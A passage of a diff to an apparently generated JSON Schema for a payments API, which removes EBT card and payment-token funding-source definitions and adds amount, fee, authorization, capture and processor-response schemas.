"format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + }, + "authorizations": { + "description": "Authorizations for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", + "description": "Represents transaction against a payment", "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" }, - "interacMacKSN": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "Interac mac key serial number for canada based cards" + "x-currency-type": true, + "x-custom-type": true } }, "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" + "cashback": { + "description": "Cashback details", + "type": "integer" }, - "city": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "City" + "x-currency-type": true, + "x-custom-type": true }, - "territory": { - "type": "string", - "description": "Territory" + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" }, - "country": { - "type": "string", - "description": "Country" + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", "properties": { - "eci": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", "type": "string" }, - "cryptogram": { - "type": "string" + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } - } + }, + "title": "PaymentContext", + "type": "object" } - } - }, - "cardType": { - "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" }, - "eVoucherSerial": { + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", "type": "string" }, - "eVoucherApprovalCode": { + "notes": { + "description": "Notes about transaction", + "maxLength": 512, "type": "string" - } - }, - "required": [ - "cardDetail", - "cardType" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ + "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { + "title": "Address Verification Status", "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" }, - "line2": { - "type": "string", - "description": "Address line 2" + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "city": { - "type": "string", - "description": "City" + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "territory": { - "type": "string", - "description": "Territory" + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "territoryType": { - "type": "string", + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" ], - "description": "Territory type" + "title": "Address Verification Status", + "type": "string" }, - "country": { - "type": "string", - "description": "Country" + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } + }, + "title": "Card Processor Response", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" } }, - "required": [ - "type" - ] + "title": "DebitCardProcessorResponse", + "type": "object" } - } - } - ], - "properties": { - "token": { + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", "type": "string", - "description": "Apple pay token", - "writeOnly": true + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } }, "required": [ - "token" - ] - }, + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents authorization transaction against a payment", + "title": "Authorization Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "captures": { + "description": "Captures for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + 